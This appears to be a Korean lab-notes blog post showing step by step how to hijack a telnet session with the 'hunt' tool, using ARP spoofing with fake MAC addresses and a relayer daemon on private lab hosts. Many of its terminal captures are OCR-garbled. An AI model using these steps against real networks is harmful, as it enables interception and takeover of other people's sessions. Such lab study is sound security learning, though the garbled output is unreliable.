2020. 7. 15.

[Network] S07 TCP 세션 하이재킹


*TCP 세션하이재킹


// 통신되는지 먼저 확인

*TCP 세션하이재킹 - 실습

hunt yum 설치
r00t@attacker_— 
[root@attacker yum I ist hunt 
Loaded p lug ins: fastestm irror 
Loading mirror speeds from cached hostfi le 
epel: mirrors .kernel .org 
• rpmforge: ftp.riken.jp 
Avai lable Packages 
hunt. i386 
[rooteattacker 
1 .5-O .2.e15.rf 
rpmforge

hunt 소스 설치
# tar xvfz hunt-1.5.tar.gz
# cd hunt-1.5
# make

CentOS 5,6,7 설치 가능
- Rpmforge에서 제공

XP에서 서버로 telnet 접속

biro yaeserve . 
CentOS release 5.6 (Final) 
Kernel 2.6.18-238.e 5 on an i68E 
login: birochya 
Password: 
Last login: Mon Jul 23 fran XP 
[birochya@server I

*TCP 세션하이재킹 hunt 메뉴

l/w/r) list/watch/reset connect ions 
u) 
a) 
s) 
d) 
o) 
x) 
host up tests 
arp/simple hijack (avoids ack storm if arp used) 
sin-ple hijack 
daemons rst/arp/sniff/mac 
opt i ons 
exit 
r) 
a) 
s) 
m) 
x) 
reset daernon 
arp spoof + arp relayer daemon 
sniff daernon 
mac discovery daemon 
return 
s/k) start/stop relayer daemon 
I/L) I ist arp spoof database 
a) add host to host arp spoof i/ I) insert single/range arp spoof 
d) delete host to host arp spoof r/R) remove single/ range arp spoof 
t/ T) test if arp spoof successed y) relay database

// arp relayer daemon 먼저 띄우고 확인해야한다.
// hunt 조작된 MAC address 날아간다.

*TCP 세션하이재킹 - 실습

hint를 이용한 세션 하이재킹 - 스푸핑과 패킷릴레이
  • 메뉴에서 [d) demon/rst/arp/sniff/mac]를 선택한다.
root@server:- 
start ing hunt 
rcvpkt O. free/alloc 64/64 
Main Menu 
l/w/r) I ist/watch/reset connect ions 
a) 
d) 
o) 
x) 
host up tests 
arp/simple hijack (avoids ack storm if arp used) 
simple hijack 
daemons rst/arp/sn iff/mac 
opt i ons 
exit

  • [a) arp spoof + arp relayer daemon]을 선택한다.
root@server:- 
cvpkt 8. free/al loc 63/64 - 
— daemons - 
r) reset daemon 
a) arp spoof + arp relayer daemon 
s) sn iff daemon 
m) mac discovery daemon 
x) return 
—dm> a

  • [s/k) start/stop relayer daemon]을 선택한다.
    • fragrouter 와 동일한 역할을 한다.
root@server:- 
s/k) start/stop relayer daemon 
1/1_) I ist arp spoof database 
a) add host to host arp spoof 
d) del ete host to host arp spoof 
t/ T) test if arp spoof successed 
x) 
return 
—arps> s 
daemon started 
i/ l) insert sing le/range arp spoof 
r/R) remove s ing le/range arp spoof 
y) relay database

  • [a) add host to host arp spoof]를 선택 대상 호스트를 지정한다.
s/k) start/stop relayer daemon 
1/1_) I ist arp spoof database 
a) add host to host arp spoof 
d) del ete host to host arp spoof 
t/T) test if arp spoof successed 
x) 
return 
—arps> a 
src/dst hostl to arp spoof> 192.168 
hostl fake mac [EX 
src/dst host2 to arp spoof> 192.168 
host2 fake mac [EÅ: 
refresh interval sec I 
ARP spoof of 192.168.11 .7 with 
LED 
do you want to force arp spoof 
fake 
i/ l) insert sing le/range arp spoof 
r/R) remove s ing le/range arp spoof 
y) relay database 
.11.7 
11: 11 
11 11: 11: 11 
.11 .17 
12: 12: 12: 12: 12: 12 
mac 1 1: 11: 11:11: 11: 11 in host 192.168. 11.17 
until successed y/n Y 
CTRL-C to break 
ARP spoof successed 
pspoof daelllon 
cvpk[

  • 'FAILED' 메시지가 나오더라도 실제 성공한 경우가 많음으로 직접 각 시스템의 arp 등록 정보를 살펴본다.
  • 각 시스템에 arp 정보가 지정된 mac주소로 변경이 되었다면 성공한것이다.
  • telnet 세션이 정상인지 확인하고 최상위 메뉴로 올라간다.
// 1111111111
// 2222222222
// refresh interval sec - 몇초마다 보낼것인가 묻는것으로 너무 짧으면 피곤하다.
// 정상 패킷을 가지고 공격을 감지할 있는것은 얼마나 많이 오느냐이다.

  • hint를 이용한 세션 하이재킹 - 세션 탐지와 하이재킹
    • [l/w/r) list/watch/reset connections]을 선택해서 활성화된 세션을 확인한다.
    • telnet 세션에 데이터 흐름이 있어야 확인이 가능하다.
l/w/r) 
a) 
d) 
0) 
x) 
0) 
I ist/watch/reset connections 
host up tests 
arp/simple hijack (avoids ack storm if 
simple hijack 
daemons rst/arp/sn iff/mac 
arp used) 
opt i ons 
exit 
192.168.11.7 [1072] 
192 .168.11 .17 [23]
  • 공격당하는 두 시스템의 arp 목록을 확인한다.
    • arp 스푸핑이 걸려있지 않으면 다음 과정은 진행되지 않는다.

  • [a) arp/simple hijack (avoids ack storm if arp used)] 선택 세션하이재킹을 시작한다.
root@server:- 
l/w/r) I ist/watch/reset connections 
a) 
d) 
0) 
x) 
host up tests 
arp/simple hijack (avoids ack storm 
simple hijack 
daemons rst/arp/sn iff/mac 
opt i 
exit 
if arp used) 
0) 192.168.11.7 [1072] 
--> 192 .168.11 .17 [23] 
choose conn> 0 
hosts al ready ARP spoofed 
input mode [r]aw. [l] ine+ech0+Wr. 
dimp connectin y/n Y 
(hJ1np [s] rc/ s
// ping 보내보고 안되면 세션을 다시 맺는다.
// s d 만한다. d(명령어 안찍힐수 있다.)보단 s 사용

  • 하이재킹이 시작되면 클라이언트에서 입력한 내용이 공격자 화면에 출력되고 세션을 뺏을려면 ^C를 누르면 된다.
root@server:- 
CTRL—C to break

  • vmware 환경에서는 보이긴 하지만 하이재킹은 수행되지 않는다.


댓글 없음:

댓글 쓰기